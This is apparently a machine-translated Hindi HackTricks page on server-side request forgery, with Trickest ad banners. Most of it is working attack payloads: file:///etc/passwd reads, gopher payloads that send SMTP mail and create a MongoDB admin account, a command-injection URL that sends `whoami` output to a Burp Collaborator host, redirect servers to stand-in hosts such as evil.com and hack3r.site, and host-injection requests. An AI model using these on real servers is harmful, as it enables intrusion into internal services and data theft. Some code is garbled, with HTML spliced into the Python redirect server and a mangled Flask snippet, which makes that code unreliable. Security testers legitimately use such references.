.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो को आसानी से बनाएं और स्वचालित करें।
आज ही पहुंचें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सदस्यता योजनाएं देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह और हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
मूल जानकारी
सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) एक सुरक्षा दुरुपयोग है जब एक हमलावर एक सर्वर-साइड एप्लिकेशन को अपने चयनित डोमेन पर HTTP रिक्वेस्ट करने के लिए प्रेरित करता है। यह सुरक्षा दोष हमलावर द्वारा निर्दिष्ट बाह्य रिक्वेस्टों को सर्वर के सामने खोल देता है।
SSRF को कैप्चर करें
पहली चीज जो आपको करनी होगी, वह आपके द्वारा उत्पन्न एक SSRF इंटरैक्शन को कैप्चर करना है। HTTP या DNS इंटरैक्शन को कैप्चर करने के लिए आप निम्नलिखित उपकरणों का उपयोग कर सकते हैं:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - ngrok का उपयोग करने वाला एक Burp Collaborator
व्हाइटलिस्टेड डोमेन बायपास
आम तौर पर आपको पाया जाएगा कि SSRF केवल निश्चित व्हाइटलिस्टेड डोमेन्स या URL में काम कर रहा है। निम्नलिखित पृष्ठ पर आपको उस व्हाइटलिस्ट को बायपास करने के लिए तकनीकों का एक संकलन मिलेगा:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
ओपन रीडायरेक्ट के माध्यम से बायपास
यदि सर्वर सही ढंग से सुरक्षित है, तो आप वेब पेज के अंदर ओपन रीडायरेक्ट का शोषण करके सभी प्रतिबंधों को बायपास कर सकते हैं। क्योंकि वेब पेज SSRF को उसी डोमेन की ओर अनुमति देगा और संभावित रूप से रीडायरेक्ट करेगा, आप ओपन रीडायरेक्ट का शोषण करके सर्वर को आंतरिक किसी भी संसाधन तक पहुंचा सकते हैं।
यहाँ अधिक जानें: https://portswigger.net/web-security/ssrf
प्रोटोकॉल
- file://
- URL योजना
file://
को सीधे/etc/passwd
पर इशारा करती है:file:///etc/passwd
- dict://
- DICT URL योजना का उपयोग DICT प्रोटोकॉल के माध्यम से परिभाषण या शब्द सूचियों तक पहुंचने के लिए किया जाता है। एक उदाहरण दिया गया है जो एक विशिष्ट शब्द, डेटाबेस और प्रविष्टि संख्या को लक्षित करने वाला निर्मित URL दिखाता है, साथ ही एक PHP स्क्रिप्ट का उपयोग करके एक हमलावर द्वारा प्रदान किए गए क्रेडेंशियल्स का उपयोग करके DICT सर्वर से कनेक्ट करने के लिए संभावना दिखाता है:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- सुरक्षित शैली में फ़ाइल स्थानांतरण के लिए प्रोटोकॉल के रूप में पहचाना गया, एक उदाहरण प्रदान किया गया है जो एक PHP स्क्रिप्ट को उदाहरण दिखाता है कि कैसे एक दुरुपयोगी SFTP सर्वर से कनेक्ट किया जा सकता है:
url=sftp://generic.com:11111/
- TFTP://
- UDP पर संचालित ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, एक PHP स्क्रिप्ट का उदाहरण दिया गया है जो एक TFTP सर्वर को अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर '12346' पोर्ट पर 'TESTUDPPACKET' फ़ाइल के लिए एक TFTP अनुरोध किया जाता है:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- इस सेगमेंट में लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को शामिल किया गया है, जिसमें इसका उपयोग आईपी नेटवर्क्स पर वितरित निर्देशिका सूचना सेवाओं को प्रबंधित और पहुंचने के लिए किया जाता है। लोकलहोस्ट पर एक LDAP सर्वर के साथ बातचीत करें:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- एक विधि का वर्णन किया गया है जिसका उपयोग SMTP सेवाओं के साथ बातचीत करने के लिए किया जा सकता है, जिसमें आंतरिक डोमेन नामों को प्रकट करने के लिए कदम और उस जानकारी के आधार पर और जांच कार्रवाई की गई है।
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF bypass
- यदि SSRF curl द्वारा निष्पादित किया जाता है, तो curl में URL globbing नामक एक विशेषता होती है जो WAFs को दौड़ने में सहायक हो सकती है। उदाहरण के लिए इस writeup में आप
file
प्रोटोकॉल के माध्यम से पथ अतिक्रमण के लिए इस उदाहरण को पा सकते हैं:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- गोफर://
- गोफर प्रोटोकॉल की क्षमता को विचार किया गया है जिसमें सर्वर संचार के लिए आईपी, पोर्ट, और बाइट्स को निर्दिष्ट करने की क्षमता है, साथ ही Gopherus और remote-method-guesser जैसे उपकरणों का उल्लेख किया गया है जो payloads बनाने के लिए हैं। दो विभिन्न उपयोगों का उल्लेख किया गया है:
गोफर://
इस प्रोटोकॉल का उपयोग करके आप सर्वर से भेजने के लिए आईपी, पोर्ट और बाइट्स को निर्दिष्ट कर सकते हैं। फिर, आप मौजूदा किसी भी TCP सर्वर के साथ एक SSRF का शोषण कर सकते हैं (लेकिन आपको पहले सेवा से बात करने का तरीका पता होना चाहिए)।
भाग्यवश, आप Gopherus का उपयोग कर सकते हैं विभिन्न सेवाओं के लिए payloads बनाने के लिए। इसके अतिरिक्त, remote-method-guesser का उपयोग किया जा सकता है Java RMI सेवाओं के लिए gopher payloads बनाने के लिए।
गोफर smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
गोफर एचटीटीपी
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
गोफर SMTP — 1337 को बैक कनेक्ट करें
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin है, पासवर्ड=admin123 है और अनुमति=प्रशासक है
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF के माध्यम से रेफरर हेडर और अन्य
सर्वर पर एनालिटिक्स सॉफ्टवेयर आम तौर पर रेफरर हेडर को लॉग करता है ताकि आने वाले लिंक्स का ट्रैकिंग किया जा सके, एक ऐसी प्रथा जो अनजाने में एप्लिकेशन को सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) संरचनाओं के लिए उजागर करती है। यह इसलिए है क्योंकि ऐसा सॉफ्टवेयर रेफरर हेडर में उल्लिखित बाह्य URL पर जा सकता है ताकि रेफरल साइट की सामग्री का विश्लेषण कर सके। इन वंर्बिलिटीज़ को खोजने के लिए, बर्प स्वीट प्लगइन "कॉलेबोरेटर एव्रीव्हेयर" का सुझाव दिया गया है, जो एनालिटिक्स टूल्स के द्वारा रेफरर हेडर को प्रोसेस करने के तरीके का उपयोग करके संभावित SSRF हमले के सतह की पहचान करने में मदद करता है।
सर्टिफिकेट से SNI डेटा के माध्यम से SSRF
किसी भी बैकएंड से कनेक्शन स्थापित करने की सुविधा प्रदान कर सकने वाली एक गलत कॉन्फ़िगरेशन को एक उदाहरण एनजिन्क्स कॉन्फ़िगरेशन के साथ दिखाया गया है:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
इस कॉन्फ़िगरेशन में, सर्वर नाम सूचना (SNI) फ़ील्ड से मान सीधे बैकएंड का पता उपयोग किया जाता है। यह सेटअप सर्वर-साइड रिक्वेस्ट फ़र्ज़री (SSRF) के लिए एक वंश्वधारितता को उजागर करता है, जिसे केवल SNI फ़ील्ड में वांछित आईपी पता या डोमेन नाम निर्दिष्ट करके उत्पादित किया जा सकता है। openssl
कमांड का उपयोग करके internal.host.com
जैसे किसी भी अनियमित बैकएंड से कनेक्शन करने के लिए एक उत्पादन उदाहरण नीचे दिया गया है:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
डब्ल्यूगेट फ़ाइल अपलोड
कमांड इंजेक्शन के साथ SSRF
यह एक पेडलो की तरह हो सकता है: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs रेंडरिंग
यदि वेब पृष्ठ स्वचालित रूप से एक PDF बना रहा है जिसमें कुछ जानकारी आपने प्रदान की है, तो आप कुछ जेएस डाल सकते हैं जो पीडीएफ निर्माता खुद (सर्वर) द्वारा क्रिएट करते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। अधिक जानकारी यहाँ देखें.
SSRF से डोएस तक
एक से अधिक सेशन बनाएं और सेशन से SSRF का दुरुपयोग करके भारी फ़ाइलें डाउनलोड करने का प्रयास करें।
SSRF PHP फ़ंक्शन्स
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
SSRF गोफर को रीडायरेक्ट करें
कुछ उत्पीड़नों के लिए आपको रीडायरेक्ट प्रतिक्रिया भेजनी पड़ सकती है (संभावित रूप से एक विभिन्न प्रोटोकॉल का उपयोग करने के लिए जैसे gopher)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
<details>
<summary>विवरण</summary>
<details>
<summary>विवरण</summary>
<p>यूआरएल: <a href="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://www.w3.org/11/11/117:5986">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a></p>
</details>
</details>
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Trickest का उपयोग करें और आसानी से ऑटोमेट वर्कफ़्लो बनाएं जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हैं।
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
SSRF के लिए गलत कॉन्फ़िगर किए गए प्रॉक्सी
Flask
Flask प्रॉक्सी वंलरेबल कोड
```python from flask import Flask from requests import get
app = Flask('main') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main": app.run(threaded=False)
</details>
Flask को **`@`** का प्रारंभिक वर्ण का उपयोग करने की अनुमति है, जिससे **प्रारंभिक होस्ट नाम को उपयोगकर्ता नाम बनाया जा सकता है** और एक नया नाम इंजेक्ट किया जा सकता है। हमला अनुरोध:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
स्प्रिंग बूट
वंलरेबल कोड:
यह पाया गया कि एक अनुरोध का पथ शुरू करना संभव है जिसमें व्यक्ति ;
वर्ण का उपयोग कर सकता है जिससे उसे फिर @
और एक नया होस्ट इंजेक्ट करने की अनुमति मिलती है। हमला अनुरोध:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close